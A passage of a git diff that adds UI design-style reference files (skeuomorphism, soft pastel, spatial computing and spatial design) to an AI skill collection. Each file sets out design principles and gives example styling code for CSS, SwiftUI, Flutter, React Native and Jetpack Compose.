Use drop shadows. Light in a HUD is emitted, not blocked. Use `text-shadow` for glows instead. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/skeuomorphism/SKILL.md b/antigravity-awesome-skills/skills/design-it/skeuomorphism/SKILL.md new file mode 100644 index 00000000..1acdf187 --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/skeuomorphism/SKILL.md @@ -0,0 +1,280 @@ +--- +name: skeuomorphism +description: Web and App implementation guide for Skeuomorphism. Trigger when user wants UI to mimic real-world objects, realistic textures, or physical metaphors. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Skeuomorphism + +> "Digital interfaces that look and behave like their physical counterparts." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Realistic Textures**: Leather, brushed metal, wood grain, paper. The UI should feel like a physical object you can touch. +2. **Physical Lighting & Depth**: Intense attention to specular highlights, drop shadows, inner shadows, bevels, and ambient occlusion. +3. **Real-world Metaphors**: Switches that look like hardware toggles, dials with physical notches, notepads with binding rings. + +## Visual DNA +- **Colors**: Highly dependent on the material being simulated. For rich, classic skeuomorphism, use the **Industrial Chic** (for metal/hardware) or **Monochromatic Brown** (for wood/leather) palettes. +- **Typography**: Fonts that match the physical object (e.g., typewriter fonts for paper, LCD fonts for digital screens, embossed sans-serifs for hardware buttons). +- **Details**: Screws, stitching, glare, and gradients are your primary tools. + +## Web Implementation +- Heavy use of layered background images (textures), complex gradients, and multiple box-shadows. +- **CSS Example**: +```css +.skeuo-button { + /* Brushed metal effect */ + background: linear-gradient(180deg, #e0e0e0 0%, #a0a0a0 100%), + url('brushed-metal-texture.png'); + background-blend-mode: overlay; + + border: 1px solid #7a7a7a; + border-radius: 50%; + width: 80px; + height: 80px; + + /* Bevel, inner highlight, and drop shadow */ + box-shadow: + inset 0 2px 4px rgba(255,255,255,0.8), /* Top highlight */ + inset 0 -2px 4px rgba(0,0,0,0.4), /* Bottom shading */ + 0 4px 6px rgba(0,0,0,0.5), /* Drop shadow */ + 0 1px 1px rgba(0,0,0,0.2); +} + +.skeuo-button:active { + /* Pressing the physical button */ + box-shadow: + inset 0 4px 8px rgba(0,0,0,0.6), + inset 0 -1px 2px rgba(255,255,255,0.4), + 0 1px 1px rgba(0,0,0,0.2); + transform: translateY(2px); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct SkeuoButton: View { + @State private var isPressed = false + + var body: some View { + Button(action: {}) { + Text("POWER") + .font(.system(size: 14, weight: .bold)) + .foregroundColor(.white) + .textCase(.uppercase) + } + .frame(width: 80, height: 80) + .background( + ZStack { + // Brushed metal base + Circle() + .fill( + LinearGradient( + colors: [Color(white: 0.88), Color(white: 0.63)], + startPoint: .top, + endPoint: .bottom + ) + ) + // Inner highlight (top bevel) + Circle() + .stroke( + LinearGradient( + colors: [.white.opacity(0.8), .clear], + startPoint: .top, + endPoint: .center + ), + lineWidth: 2 + ) + .padding(1) + } + ) + .clipShape(Circle()) + // Outer bezel ring + .overlay(Circle().stroke(Color(white: 0.5), lineWidth: 1)) + // Physical drop shadow + .shadow(color: .black.opacity(isPressed ? 0.2 : 0.5), radius: isPressed ? 2 : 6, + x: 0, y: isPressed ? 1 : 4) + .scaleEffect(isPressed ? 0.96 : 1.0) + .animation(.easeOut(duration: 0.1), value: isPressed) + .simultaneousGesture( + DragGesture(minimumDistance: 0) + .onChanged { _ in isPressed = true } + .onEnded { _ in isPressed = false } + ) + } +} +``` +- Stack multiple shapes (`Circle`, `RoundedRectangle`) with different gradients to build up realistic depth. +- Use `.overlay()` with stroked shapes for highlight bezels along the edges. +- The pressed state should reduce shadow AND scale — simulating a physical push. + +### Flutter +```dart +class SkeuoButton extends StatefulWidget { + @override + State createState() => _SkeuoButtonState(); +} + +class _SkeuoButtonState extends State { + bool _isPressed = false; + + @override + Widget build(BuildContext context) { + return GestureDetector( + onTapDown: (_) => setState(() => _isPressed = true), + onTapUp: (_) => setState(() => _isPressed = false), + onTapCancel: () => setState(() => _isPressed = false), + child: AnimatedContainer( + duration: const Duration(milliseconds: 100), + width: 80, + height: 80, + decoration: BoxDecoration( + shape: BoxShape.circle, + // Brushed metal gradient + gradient: LinearGradient( + colors: [Colors.grey[300]!, Colors.grey[600]!], + begin: Alignment.topCenter, + end: Alignment.bottomCenter, + ), + border: Border.all(color: Colors.grey[500]!, width: 1), + boxShadow: [ + // Outer drop shadow + BoxShadow( + color: Colors.black.withOpacity(_isPressed ? 0.2 : 0.5), + blurRadius: _isPressed ? 4 : 12, + offset: Offset(0, _isPressed ? 2 : 6), + ), + // Inner top highlight (faked with a light inset) + BoxShadow( + color: Colors.white.withOpacity(0.6), + blurRadius: 1, + offset: const Offset(0, -1), + spreadRadius: -1, + ), + ], + ), + transform: Matrix4.identity()..scale(_isPressed ? 0.96 : 1.0), + alignment: Alignment.center, + child: const Text('POWER', + style: TextStyle(color: Colors.white, fontWeight: FontWeight.bold, + fontSize: 14, shadows: [ + Shadow(color: Colors.black54, offset: Offset(0, 1), blurRadius: 2), + ])), + ), + ); + } +} +``` +- Use `AnimatedContainer` for smooth press transitions. Adjust `boxShadow`, `transform`, and gradient on tap. +- Layer `BoxShadow` entries: one for the outer drop shadow, one for the inner top-edge highlight. +- For complex textures (leather, wood), use `DecorationImage` with an asset file inside `BoxDecoration`. + +### React Native +```jsx +const SkeuoButton = () => { + const [pressed, setPressed] = useState(false); + + return ( + setPressed(true)} + onPressOut={() => setPressed(false)} + style={{ + width: 80, + height: 80, + borderRadius: 40, + alignItems: 'center', + justifyContent: 'center', + // Metal gradient must be done via an image or LinearGradient component + backgroundColor: '#A0A0A0', + borderWidth: 1, + borderColor: '#7A7A7A', + // Shadow changes on press + shadowColor: '#000', + shadowOffset: { width: 0, height: pressed ? 1 : 4 }, + shadowOpacity: pressed ? 0.2 : 0.5, + shadowRadius: pressed ? 2 : 6, + elevation: pressed ? 2 : 8, + transform: [{ scale: pressed ? 0.96 : 1 }], + }} + > + + POWER + + + ); +}; +``` +- For realistic textures, use `ImageBackground` with exported texture assets (leather.png, brushed-metal.png). +- Use `Pressable` with `onPressIn`/`onPressOut` to animate shadow depth, scale, and opacity changes. +- Complex gradient bevels require `react-native-linear-gradient` or `expo-linear-gradient`. + +### Jetpack Compose +```kotlin +@Composable +fun SkeuoButton() { + var isPressed by remember { mutableStateOf(false) } + val scale by animateFloatAsState(if (isPressed) 0.96f else 1f) + val elevation by animateDpAsState(if (isPressed) 2.dp else 8.dp) + + Box( + modifier = Modifier + .size(80.dp) + .graphicsLayer { scaleX = scale; scaleY = scale } + .shadow(elevation, CircleShape) + .clip(CircleShape) + .background( + Brush.verticalGradient( + colors = listOf(Color(0xFFE0E0E0), Color(0xFFA0A0A0)) + ) + ) + .border(1.dp, Color(0xFF7A7A7A), CircleShape) + .pointerInput(Unit) { + detectTapGestures( + onPress = { + isPressed = true + tryAwaitRelease() + isPressed = false + } + ) + }, + contentAlignment = Alignment.Center, + ) { + Text("POWER", + color = Color.White, + fontWeight = FontWeight.Bold, + fontSize = 14.sp, + style = TextStyle(shadow = Shadow( + color = Color.Black.copy(alpha = 0.5f), + offset = Offset(0f, 2f), + blurRadius = 4f, + ))) + } +} +``` +- Use `Brush.verticalGradient()` for metallic surfaces and `Modifier.border()` with `CircleShape` for bezels. +- Animate `shadow` elevation and `graphicsLayer { scaleX/scaleY }` on press for realistic physical push. +- For textures, use `Modifier.paint(painterResource(R.drawable.brushed_metal))` as a background. + +## Do's and Don'ts +- **DO**: Ensure the metaphor makes sense for the user's task. +- **DON'T**: Overuse it to the point of clutter. Keep the interactive elements highly realistic, but let the structural layout remain clean. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/soft-pastel/SKILL.md b/antigravity-awesome-skills/skills/design-it/soft-pastel/SKILL.md new file mode 100644 index 00000000..c013f8b6 --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/soft-pastel/SKILL.md @@ -0,0 +1,307 @@ +--- +name: soft-pastel +description: Web and App implementation guide for Soft Pastel Design. Trigger when user wants gentle colors, calming UI, baby/lifestyle branding, or low-contrast aesthetics. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Soft Pastel Design + +> "Calm, airy, and gentle. A low-stress interface built on washed-out, cheerful hues." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Desaturated, High-Lightness Colors**: Every color is mixed with a heavy amount of white. +2. **Soft, Rounded Edges**: Border radii are large and friendly. +3. **Airy Spacing**: Generous whitespace prevents the soft colors from feeling muddy or crowded. + +## Visual DNA +- **Colors**: Mint green, baby blue, blush pink, lavender, and buttercream yellow. Use a warm, slightly off-white background (e.g., `#FFFBF7`) rather than clinical `#FFFFFF`. +- **Typography**: Soft, rounded sans-serifs (`Quicksand`, `Nunito`) or elegant, low-contrast serifs. Avoid aggressive, ultra-bold fonts. +- **Shadows**: Very soft, large-spread shadows, often tinted with the pastel color rather than black. + +## Web Implementation +- **CSS Example**: +```css +:root { + --pastel-bg: #FFFBF7; + --pastel-pink: #FFD1DC; + --pastel-blue: #AEC6CF; + --pastel-green: #B7E4C7; + --pastel-text: #4A4A4A; /* Soft dark grey, NOT pure black */ +} + +body { + background-color: var(--pastel-bg); + color: var(--pastel-text); + font-family: 'Nunito', sans-serif; + line-height: 1.6; +} + +.pastel-card { + background-color: #ffffff; + border-radius: 24px; + padding: 40px; + /* Tinted, very soft shadow */ + box-shadow: 0 20px 40px rgba(174, 198, 207, 0.15); +} + +.pastel-pill { + background-color: var(--pastel-pink); + color: #a05a6c; /* Darker version of the pink for contrast */ + border-radius: 50px; + padding: 8px 24px; + font-weight: 700; + display: inline-block; +} + +.pastel-btn { + background-color: var(--pastel-blue); + color: #2b5563; /* Darker text */ + border: none; + border-radius: 12px; + padding: 16px 32px; + transition: transform 0.2s; +} +.pastel-btn:hover { + transform: translateY(-2px); + box-shadow: 0 10px 20px rgba(174, 198, 207, 0.4); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct SoftPastelView: View { + // Pastel Palette + let bg = Color(hex: "FFFBF7") + let pink = Color(hex: "FFD1DC") + let blue = Color(hex: "AEC6CF") + let textDark = Color(hex: "4A4A4A") + + var body: some View { + ScrollView { + VStack(spacing: 32) { + // Pastel Card + VStack(alignment: .leading, spacing: 16) { + Text("Calm & Airy") + .font(.custom("Nunito-Bold", size: 28)) + .foregroundColor(textDark) + + Text("Generous whitespace and soft corners prevent the desaturated colors from feeling muddy.") + .font(.custom("Nunito-Regular", size: 16)) + .foregroundColor(textDark.opacity(0.8)) + .lineSpacing(6) + } + .padding(40) + .frame(maxWidth: .infinity, alignment: .leading) + .background(Color.white) + .cornerRadius(32) // Soft, large radius + // Tinted pastel shadow instead of black/gray + .shadow(color: blue.opacity(0.2), radius: 30, y: 15) + + // Pastel Button + Button(action: {}) { + Text("Gentle Action") + .font(.custom("Nunito-Bold", size: 18)) + .foregroundColor(Color(hex: "2B5563")) // Darker contrast of the blue + .frame(maxWidth: .infinity) + .padding(.vertical, 20) + .background(blue) + .cornerRadius(20) + } + } + .padding(24) + } + .background(bg.ignoresSafeArea()) + } +} +``` +- A custom font like Nunito or Quicksand is practically required. System fonts are often too rigid. +- The `shadow(color:)` must be tinted with one of your pastel palette colors, never black or gray. +- Corner radii should be very large (20-32). + +### Flutter +```dart +class SoftPastelScreen extends StatelessWidget { + final Color bg = const Color(0xFFFFFBF7); + final Color pink = const Color(0xFFFFD1DC); + final Color blue = const Color(0xFFAEC6CF); + final Color textDark = const Color(0xFF4A4A4A); + + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: bg, + body: SingleChildScrollView( + padding: const EdgeInsets.all(24.0), + child: Column( + children: [ + // Pastel Card + Container( + width: double.infinity, + padding: const EdgeInsets.all(40), + decoration: BoxDecoration( + color: Colors.white, + borderRadius: BorderRadius.circular(32), // Soft edges + boxShadow: [ + // Tinted shadow + BoxShadow(color: blue.withOpacity(0.2), blurRadius: 30, offset: const Offset(0, 15)) + ], + ), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + Text('Calm & Airy', style: TextStyle(fontFamily: 'Nunito', fontSize: 28, fontWeight: FontWeight.bold, color: textDark)), + const SizedBox(height: 16), + Text('Generous whitespace and soft corners.', style: TextStyle(fontFamily: 'Nunito', fontSize: 16, height: 1.6, color: textDark.withOpacity(0.8))), + ], + ), + ), + const SizedBox(height: 32), + + // Pastel Button + ElevatedButton( + onPressed: () {}, + style: ElevatedButton.styleFrom( + backgroundColor: blue, + foregroundColor: const Color(0xFF2B5563), // Darker text for contrast + minimumSize: const Size(double.infinity, 60), + shape: RoundedRectangleBorder(borderRadius: BorderRadius.circular(20)), + elevation: 0, // Remove default harsh shadow + ), + child: const Text('Gentle Action', style: TextStyle(fontFamily: 'Nunito', fontSize: 18, fontWeight: FontWeight.bold)), + ), + ], + ), + ), + ); + } +} +``` +- Disable `elevation` on Flutter buttons and cards if you want to apply custom tinted drop shadows. Default elevations cast black shadows. + +### React Native +```jsx +const SoftPastelScreen = () => { + const colors = { + bg: '#FFFBF7', + blue: '#AEC6CF', + textDark: '#4A4A4A' + }; + + return ( + + + {/* Pastel Card */} + + + Calm & Airy + + + Generous whitespace and soft corners prevent the desaturated colors from feeling muddy. + + + + {/* Pastel Button */} + + + Gentle Action + + + + + ); +}; +``` +- Make sure you are using a soft, non-pure-white background (`#FFFBF7`) so that pure `#FFFFFF` cards pop nicely against it without harsh borders. +- Tinted shadows work on Android 9+ via `shadowColor` combined with `elevation`. + +### Jetpack Compose +```kotlin +@Composable +fun SoftPastelScreen() { + val bg = Color(0xFFFFFBF7) + val blue = Color(0xFFAEC6CF) + val textDark = Color(0xFF4A4A4A) + + Column( + modifier = Modifier.fillMaxSize().background(bg).verticalScroll(rememberScrollState()).padding(24.dp) + ) { + // Pastel Card + Box( + modifier = Modifier + .fillMaxWidth() + .shadow( + elevation = 20.dp, + shape = RoundedCornerShape(32.dp), + ambientColor = blue, // Tinted shadow + spotColor = blue + ) + .background(Color.White, RoundedCornerShape(32.dp)) + .padding(40.dp) + ) { + Column { + Text( + text = "Calm & Airy", + fontSize = 28.sp, + fontWeight = FontWeight.Bold, + color = textDark, + fontFamily = FontFamily.SansSerif // Replace with Nunito + ) + Spacer(Modifier.height(16.dp)) + Text( + text = "Generous whitespace and soft corners.", + fontSize = 16.sp, + lineHeight = 26.sp, + color = textDark.copy(alpha = 0.8f), + fontFamily = FontFamily.SansSerif + ) + } + } + + Spacer(Modifier.height(32.dp)) + + // Pastel Button + Button( + onClick = { }, + colors = ButtonDefaults.buttonColors(containerColor = blue, contentColor = Color(0xFF2B5563)), + shape = RoundedCornerShape(20.dp), + modifier = Modifier.fillMaxWidth().height(60.dp), + elevation = null + ) { + Text("Gentle Action", fontSize = 18.sp, fontWeight = FontWeight.Bold) + } + } +} +``` +- The `shadow` modifier in Compose takes `ambientColor` and `spotColor`. Set both to your pastel accent color to achieve the soft tinted glow. + +## Do's and Don'ts +- **DO**: Use illustrative assets that match the pastel vibe (flat vectors, soft gradients). +- **DON'T**: Use stark black borders, sharp corners, or high-saturation primary colors. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/spatial-computing-ui/SKILL.md b/antigravity-awesome-skills/skills/design-it/spatial-computing-ui/SKILL.md new file mode 100644 index 00000000..571ba96b --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/spatial-computing-ui/SKILL.md @@ -0,0 +1,300 @@ +--- +name: spatial-computing-ui +description: Web and App implementation guide for Spatial Computing UI. Trigger when user wants floating elements, environmental awareness, and Apple Vision Pro style. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Spatial Computing UI + +> "A step beyond Spatial Design. Fully 3D windows floating in augmented reality." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Z-Space Hierarchy**: Not just drop shadows, but actual 3D distance. Modals float 10px *in front of* the main window. +2. **Gaze-Based Interaction Cues**: Elements highlight vividly when hovered, anticipating eye-tracking or precise pointer control. +3. **Glass and Light**: Windows are thick sheets of frosted glass that bend light and cast soft shadows onto the physical environment. + +## Visual DNA +- **Colors**: Relies entirely on the background environment. Uses purely translucent whites (`rgba(255,255,255,0.x)`) and blacks. +- **Typography**: `SF Pro`. Heavy use of varied font weights (Regular, Semibold, Bold) to create hierarchy. +- **Shapes**: High border radii (`24px`-`32px`). Everything is a rounded rectangle or a perfect circle. + +## Web Implementation +- Best emulated using CSS 3D transforms to simulate the user's perspective. +- **CSS Example**: +```css +body { + /* Simulate the physical room */ + background: url('living-room.jpg') center/cover; + perspective: 1200px; + display: flex; + justify-content: center; + align-items: center; + height: 100vh; +} + +.spatial-window { + width: 800px; + height: 600px; + border-radius: 32px; + + /* The Glass Material */ + background: rgba(255, 255, 255, 0.15); + backdrop-filter: blur(50px) saturate(200%); + -webkit-backdrop-filter: blur(50px) saturate(200%); + + /* Specular Highlights */ + border: 1px solid rgba(255, 255, 255, 0.4); + box-shadow: + inset 0 1px 2px rgba(255, 255, 255, 0.8), + 0 30px 60px rgba(0, 0, 0, 0.3); + + /* 3D Positioning */ + transform: translateZ(-100px); + transform-style: preserve-3d; +} + +.spatial-modal { + /* Floating in front of the main window */ + position: absolute; + top: 50%; left: 50%; + transform: translate(-50%, -50%) translateZ(50px); + + background: rgba(255, 255, 255, 0.6); /* More opaque */ + backdrop-filter: blur(30px); + border-radius: 24px; + padding: 30px; + box-shadow: 0 20px 40px rgba(0, 0, 0, 0.2); +} + +.spatial-btn { + /* Gaze/Hover interaction */ + background: rgba(0,0,0,0.05); + transition: all 0.2s cubic-bezier(0.2, 0.8, 0.2, 1); +} +.spatial-btn:hover { + background: rgba(255,255,255,0.4); + transform: translateZ(10px) scale(1.05); + box-shadow: 0 10px 20px rgba(0,0,0,0.1); +} +``` + +## App Implementation + +### SwiftUI (visionOS Native / iOS emulation) +```swift +struct SpatialComputingView: View { + var body: some View { + ZStack { + // Simulated room environment + Image("living-room") + .resizable() + .aspectRatio(contentMode: .fill) + .ignoresSafeArea() + + // Spatial Window + VStack(spacing: 24) { + Text("Spatial Window") + .font(.title).fontWeight(.bold) + .foregroundColor(.white) + + // Gaze-reactive button + Button(action: {}) { + Text("Focus Me") + .fontWeight(.semibold) + .foregroundColor(.white) + .padding(.horizontal, 32) + .padding(.vertical, 16) + // .hoverEffect() is magic on visionOS/iPadOS + // .hoverEffect(.highlight) + } + .background(Color.black.opacity(0.2)) + .clipShape(Capsule()) + } + .padding(60) + // The magic glass material + .background(.ultraThinMaterial) + .cornerRadius(32) + // Specular edge highlight + .overlay( + RoundedRectangle(cornerRadius: 32) + .stroke(Color.white.opacity(0.4), lineWidth: 1) + ) + // Environmental shadow + .shadow(color: .black.opacity(0.3), radius: 40, y: 30) + + // Z-Space Modal simulation (if on iOS) + // On visionOS, this would be a separate window volume + Text("Floating Modal") + .foregroundColor(.white) + .padding(30) + .background(.thinMaterial) + .cornerRadius(24) + .shadow(color: .black.opacity(0.4), radius: 30, y: 20) + .offset(x: 100, y: 100) + } + } +} +``` +- Use `.ultraThinMaterial` for the base windows and `.thinMaterial` for floating popovers so they feel more opaque as they get closer to the eye. +- Use `.hoverEffect()` extensively if targeting iPadOS or visionOS. + +### Flutter +```dart +import 'dart:ui'; + +class SpatialComputingScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + body: Stack( + fit: StackFit.expand, + children: [ + // Simulated Environment + Image.asset('assets/living-room.jpg', fit: BoxFit.cover), + + Center( + child: ClipRRect( + borderRadius: BorderRadius.circular(32), + child: BackdropFilter( + filter: ImageFilter.blur(sigmaX: 40.0, sigmaY: 40.0), // Heavy blur + child: Container( + width: 600, height: 400, + decoration: BoxDecoration( + color: Colors.white.withOpacity(0.15), // Glass tint + borderRadius: BorderRadius.circular(32), + border: Border.all(color: Colors.white.withOpacity(0.4), width: 1), // Specular highlight + // Note: BoxShadow won't render under BackdropFilter nicely unless wrapped in a separate PhysicalModel + ), + child: Center( + child: Column( + mainAxisAlignment: MainAxisAlignment.center, + children: [ + const Text('Spatial Window', style: TextStyle(color: Colors.white, fontSize: 32, fontWeight: FontWeight.bold)), + const SizedBox(height: 32), + // Simulated Gaze Button + InkWell( + onTap: () {}, + borderRadius: BorderRadius.circular(50), + hoverColor: Colors.white.withOpacity(0.4), // Reacts to mouse/gaze + child: Container( + padding: const EdgeInsets.symmetric(horizontal: 32, vertical: 16), + decoration: BoxDecoration(color: Colors.black.withOpacity(0.2), borderRadius: BorderRadius.circular(50)), + child: const Text('Focus Me', style: TextStyle(color: Colors.white, fontSize: 18)), + ), + ) + ], + ), + ), + ), + ), + ), + ), + ], + ), + ); + } +} +``` +- You must wrap `BackdropFilter` inside a `ClipRRect` to give the blurred glass rounded corners. +- `hoverColor` on `InkWell` simulates the gaze-highlighting. + +### React Native +```jsx +// REQUIRES: @react-native-community/blur +import { BlurView } from '@react-native-community/blur'; + +const SpatialComputingScreen = () => { + return ( + + + {/* Spatial Window */} + + + + Spatial Window + + + {/* Touchable simulating Gaze */} + + Focus Me + + + + + + ); +}; +``` +- React Native's core cannot do background blur. You *must* install `@react-native-community/blur`. +- Apply shadows to a wrapper `View`, and put the `BlurView` inside it with `borderRadius` and `borderWidth`. + +### Jetpack Compose +```kotlin +@Composable +fun SpatialComputingScreen() { + Box(modifier = Modifier.fillMaxSize()) { + // Environment + Image(painterResource(R.drawable.living_room), contentDescription = null, contentScale = ContentScale.Crop, modifier = Modifier.fillMaxSize()) + + // Spatial Window + Box( + modifier = Modifier + .align(Alignment.Center) + .size(600.dp, 400.dp) + // Note: Native Android background blur requires Android 12+ (RenderEffect) + .graphicsLayer { + renderEffect = RenderEffect.createBlurEffect(40f, 40f, Shader.TileMode.DECAL).asComposeRenderEffect() + clip = true + shape = RoundedCornerShape(32.dp) + } + .background(Color.White.copy(alpha = 0.15f)) + .border(1.dp, Color.White.copy(alpha = 0.4f), RoundedCornerShape(32.dp)) + .padding(40.dp), + contentAlignment = Alignment.Center + ) { + Column(horizontalAlignment = Alignment.CenterHorizontally) { + Text("Spatial Window", color = Color.White, fontSize = 32.sp, fontWeight = FontWeight.Bold) + Spacer(Modifier.height(32.dp)) + + // Button + Box( + modifier = Modifier + .background(Color.Black.copy(alpha = 0.2f), CircleShape) + .clickable { } + .padding(horizontal = 32.dp, vertical = 16.dp) + ) { + Text("Focus Me", color = Color.White, fontSize = 18.sp, fontWeight = FontWeight.SemiBold) + } + } + } + } +} +``` +- On Android 12+, use `RenderEffect.createBlurEffect` applied to the `graphicsLayer` to blur the UI *behind* the compose element. +- The `border` modifier applies the bright specular rim-light crucial to glass effects. + +## Do's and Don'ts +- **DO**: Create a distinct visual pop (size increase and shadow depth increase) on hover/focus to simulate the gaze-tracking interaction of Spatial Computing. +- **DON'T**: Use flat, opaque colors for the main windows. They must be glass. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/spatial-design/SKILL.md b/antigravity-awesome-skills/skills/design-it/spatial-design/SKILL.md new file mode 100644 index 00000000..a7709de4 --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/spatial-design/SKILL.md @@ -0,0 +1,268 @@ +--- +name: spatial-design +description: Web and App implementation guide for Spatial Design. Trigger when user wants environment-aware layouts, Apple Vision Pro inspiration, and mixed reality aesthetics. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Spatial Design + +> "UI that belongs in the room with you. Transparent, glass-like panels that react to the lighting of the physical space." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Environmental Transparency**: The UI acts like a glass pane. It is deeply reliant on background blur, but specifically aims to let the environment (or a simulated environment image) dictate the mood. +2. **Dynamic Lighting**: Elements respond to cursor position as if a flashlight is shining on them. +3. **Subtle Volume**: Not flat, but not extremely 3D. Elements have a very thin rim of light around the edge (specular highlight). + +## Visual DNA +- **Colors**: Almost exclusively uses `rgba()` white or black. The actual color comes entirely from the background environment. +- **Typography**: Extremely sharp, high legibility. Often uses varying font weights to establish hierarchy without relying on color. Apple's `SF Pro` is the gold standard here. +- **Icons**: Outlined, high-legibility glyphs. + +## Web Implementation +- **CSS Example**: +```css +body { + /* Needs a complex background to look right */ + background: url('room-environment.jpg') cover; +} + +.spatial-panel { + /* The core material */ + background: rgba(255, 255, 255, 0.2); /* Very sheer */ + backdrop-filter: blur(40px) saturate(150%); + -webkit-backdrop-filter: blur(40px) saturate(150%); + + border-radius: 32px; + padding: 40px; + + /* The specular rim light */ + box-shadow: + inset 0 1px 1px rgba(255,255,255,0.6), + inset 0 0 1px 1px rgba(255,255,255,0.2), + 0 24px 48px rgba(0,0,0,0.1); +} + +.spatial-btn { + background: rgba(0,0,0,0.1); + color: white; + border-radius: 20px; + padding: 12px 24px; + backdrop-filter: blur(10px); + transition: all 0.2s; +} + +.spatial-btn:hover { + background: rgba(255,255,255,0.2); + /* Highlight effect */ + box-shadow: inset 0 0 20px rgba(255,255,255,0.4); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct SpatialDesignView: View { + var body: some View { + ZStack { + // Environment background + Image("room-environment") + .resizable() + .aspectRatio(contentMode: .fill) + .ignoresSafeArea() + + // Spatial Panel + VStack(spacing: 24) { + Text("Environmental UI") + .font(.title).fontWeight(.bold) + .foregroundColor(.white) + + Button(action: {}) { + Text("Interact") + .foregroundColor(.white) + .padding(.horizontal, 32) + .padding(.vertical, 16) + } + .background(.ultraThinMaterial) + .clipShape(Capsule()) + .overlay(Capsule().stroke(Color.white.opacity(0.3), lineWidth: 1)) + } + .padding(40) + .background(.ultraThinMaterial) // The core spatial material + .cornerRadius(32) + // Specular rim light + .overlay( + RoundedRectangle(cornerRadius: 32) + .stroke( + LinearGradient( + colors: [.white.opacity(0.6), .white.opacity(0.1)], + startPoint: .topLeading, endPoint: .bottomTrailing + ), + lineWidth: 1 + ) + ) + // Very soft, diffuse shadow + .shadow(color: .black.opacity(0.1), radius: 40, y: 20) + } + } +} +``` +- `.background(.ultraThinMaterial)` is exactly what Apple uses for this aesthetic. +- The specular highlight is critical. Use an `.overlay` with a `LinearGradient` stroke to simulate a light source hitting the top-left edge of the glass. + +### Flutter +```dart +import 'dart:ui'; + +class SpatialDesignScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + body: Stack( + fit: StackFit.expand, + children: [ + Image.asset('assets/room-environment.jpg', fit: BoxFit.cover), + + Center( + child: ClipRRect( + borderRadius: BorderRadius.circular(32), + child: BackdropFilter( + filter: ImageFilter.blur(sigmaX: 30.0, sigmaY: 30.0), + child: Container( + width: 350, + padding: const EdgeInsets.all(40), + decoration: BoxDecoration( + color: Colors.white.withOpacity(0.1), + borderRadius: BorderRadius.circular(32), + // Specular rim light + border: Border.all(color: Colors.white.withOpacity(0.4), width: 1), + ), + child: Column( + mainAxisSize: MainAxisSize.min, + children: [ + const Text('Environmental UI', style: TextStyle(color: Colors.white, fontSize: 28, fontWeight: FontWeight.bold)), + const SizedBox(height: 32), + + // Spatial Button + ClipRRect( + borderRadius: BorderRadius.circular(50), + child: BackdropFilter( + filter: ImageFilter.blur(sigmaX: 10.0, sigmaY: 10.0), + child: Container( + padding: const EdgeInsets.symmetric(horizontal: 32, vertical: 16), + decoration: BoxDecoration( + color: Colors.black.withOpacity(0.1), + border: Border.all(color: Colors.white.withOpacity(0.2)), + borderRadius: BorderRadius.circular(50), + ), + child: const Text('Interact', style: TextStyle(color: Colors.white)), + ), + ), + ) + ], + ), + ), + ), + ), + ), + ], + ), + ); + } +} +``` +- `BackdropFilter` is required to blur the background. +- Notice the button *inside* the panel also has a `BackdropFilter`. This creates nested glass, which is a hallmark of Spatial Design. + +### React Native +```jsx +// REQUIRES: @react-native-community/blur +import { BlurView } from '@react-native-community/blur'; + +const SpatialDesignScreen = () => { + return ( + + + + + + Environmental UI + + + + + Interact + + + + + + + ); +}; +``` +- `BlurView` from `@react-native-community/blur` is the only way to achieve this. +- Use `blurType="light"` for the main panel and `blurType="dark"` for the buttons to create contrast between the glass layers. + +### Jetpack Compose +```kotlin +@Composable +fun SpatialDesignScreen() { + Box(modifier = Modifier.fillMaxSize()) { + Image(painterResource(R.drawable.room_environment), null, contentScale = ContentScale.Crop, modifier = Modifier.fillMaxSize()) + + Box( + modifier = Modifier + .align(Alignment.Center) + .width(350.dp) + // Shadow goes on the outside + .shadow(20.dp, RoundedCornerShape(32.dp), spotColor = Color.Black.copy(alpha = 0.1f)) + // Android 12+ Blur + .graphicsLayer { + renderEffect = RenderEffect.createBlurEffect(30f, 30f, Shader.TileMode.DECAL).asComposeRenderEffect() + clip = true + shape = RoundedCornerShape(32.dp) + } + .background(Color.White.copy(alpha = 0.1f)) + .border(1.dp, Brush.linearGradient(listOf(Color.White.copy(alpha = 0.6f), Color.Transparent)), RoundedCornerShape(32.dp)) + .padding(40.dp), + contentAlignment = Alignment.Center + ) { + Column(horizontalAlignment = Alignment.CenterHorizontally) { + Text("Environmental UI", color = 